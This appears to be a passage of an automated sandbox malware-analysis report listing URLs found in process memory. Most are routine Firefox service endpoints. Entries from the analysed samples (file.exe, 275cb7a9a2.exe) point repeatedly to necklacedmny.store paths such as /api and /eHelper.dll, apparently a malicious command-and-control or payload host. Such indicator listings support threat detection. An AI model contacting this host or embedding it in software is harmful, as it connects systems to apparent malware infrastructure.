Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsexperiment-apis/aboutConfigPrefs.jsonexperiment-apis/
Source: firefox.exe, 00000017.00000002.3160909733.0000016D6C29F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000017.00000002.3160909733.0000016D6C29F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000017.00000002.3112036472.0000016D60625000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3124252108.0000016D639BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3170987580.00000A2341204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000017.00000002.3160909733.0000016D6C29F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000017.00000002.3106722190.0000016D54411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000017.00000002.3114237804.0000016D61C86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000017.00000002.3143979190.0000016D66C80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000017.00000002.3124252108.0000016D639BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 00000017.00000002.3162355431.0000016D6C33B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000017.00000002.3162355431.0000016D6C33B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000017.00000002.3162355431.0000016D6C33B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000017.00000002.3162355431.0000016D6C33B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000017.00000002.3133627617.0000016D64E67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000017.00000002.3132854164.0000016D64C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000017.00000002.3136934154.0000016D6625C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3128010660.0000016D64316000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000017.00000002.3156286806.0000016D68F40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3170750181.00000411DCE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000017.00000002.3170750181.00000411DCE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comZ
Source: firefox.exe, 00000017.00000002.3156286806.0000016D68F40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000017.00000002.3127541201.0000016D64121000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3127673620.0000016D64265000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3111377594.0000016D605B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%shttps://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%ssetSlowScriptDebugHandler/debugService.activationH
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000017.00000002.3110744034.0000016D6017D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3127673620.0000016D64265000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000017.00000002.3106722190.0000016D544D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000017.00000002.3111377594.0000016D605B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000017.00000002.3174770280.00003D2B63404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: 275cb7a9a2.exe, 00000007.00000003.3023333146.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.sto
Source: 275cb7a9a2.exe, 00000009.00000003.3106804406.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: 275cb7a9a2.exe, 00000009.00000003.3009005916.0000000005DC7000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3188906856.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3114405608.0000000005DCA000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3041090322.0000000005DC7000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3009970674.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3106804406.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/&
Source: 275cb7a9a2.exe, 00000009.00000003.3054565690.0000000001437000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3044619140.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3066643541.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3081940270.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3071306474.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3058058519.0000000001437000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3107969809.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3069882872.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3073591620.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/7
Source: file.exe, 00000000.00000003.2126880950.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/Dgk
Source: 275cb7a9a2.exe, 00000007.00000003.2848639043.0000000001281000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/Lo
Source: file.exe, 00000000.00000003.2265941032.000000000552F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2153759728.0000000005527000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126725970.000000000552E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2127213703.000000000552E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161463008.000000000552F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/P
Source: 275cb7a9a2.exe, 00000007.00000003.2910704592.000000000128F000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2910906790.000000000128F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/To
Source: 275cb7a9a2.exe, 00000009.00000003.3054565690.0000000001437000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3044619140.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3066643541.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3081940270.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3071306474.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3058058519.0000000001437000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3107969809.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3069882872.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3073591620.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/X=C
Source: 275cb7a9a2.exe, 00000007.00000003.2848639043.0000000001281000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3054565690.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3071306474.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3054565690.0000000001437000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3069882872.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3044619140.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3080241039.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3044619140.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3066643541.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3081940270.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3071306474.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3058058519.0000000001437000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3058058519.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3107969809.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3066643541.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3069882872.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3073591620.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3073591620.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: 275cb7a9a2.exe, 00000009.00000003.3149904629.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3122253586.00000000014B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiC;8B
Source: 275cb7a9a2.exe, 00000009.00000003.3044619140.0000000001436000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apia
Source: file.exe, 00000000.00000002.2268595327.000000000093E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apieUx
Source: 275cb7a9a2.exe, 00000007.00000003.2911011895.0000000001294000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2910704592.0000000001294000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.3022276463.0000000001294000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2903147176.000000000128D000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2926799491.0000000001294000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2899309858.0000000001294000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.3023238759.0000000001294000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2899166887.0000000001294000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2903511049.0000000001293000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiib
Source: file.exe, 00000000.00000002.2268595327.000000000096A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apim
Source: file.exe, 00000000.00000003.2126921125.00000000009D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apir:
Source: file.exe, 00000000.00000002.2268595327.000000000093E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apis
Source: file.exe, 00000000.00000003.2101970678.00000000009BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/dgK
Source: 275cb7a9a2.exe, 00000009.00000003.3114405608.0000000005DCA000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3106804406.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/eHelper.dll
Source: 275cb7a9a2.exe, 00000007.00000003.2903147176.000000000128D000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2899166887.000000000128D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/l0kDFiRX2Q5AVMyntQhkV
Source: file.exe, 00000000.00000003.2088397986.00000000009C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2072623713.00000000009BD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074587250.00000000009C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073666772.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/tg
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141901484.0000016D66A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000017.00000002.3110744034.0000016D6017D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3127673620.0000016D64265000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sVALIDATE_DONT_COLLAPSE_WHITESPACE
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000017.00000002.3116728631.0000016D63591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comprofilerRecordingButtonCreatedbrowser-delayed-startup-finished
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000017.00000002.3114237804.0000016D61CDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000017.00000003.3008683323.0000016D64653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000017.00000002.3112036472.0000016D6067B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/toolkit/global/notification.ftl
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000017.00000002.3132854164.0000016D64C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000017.00000002.3132854164.0000016D64C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000017.00000002.3160909733.0000016D6C293000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3124252108.0000016D639BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/Endpoint
Source: firefox.exe, 00000017.00000002.3160909733.0000016D6C293000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 00000017.00000002.3163045548.0000016D6C484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000017.00000002.3124252108.0000016D639BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3116728631.0000016D635B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000017.00000002.3138587384.0000016D6659A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3138334196.0000016D66412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000017.00000002.3138334196.0000016D66408000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3138587384.0000016D6659A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3138334196.0000016D66412000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3138587384.0000016D6654D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000017.00000002.3114237804.0000016D61CDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000017.00000002.3112036472.0000016D606DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000017.00000002.3115769983.0000016D621C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
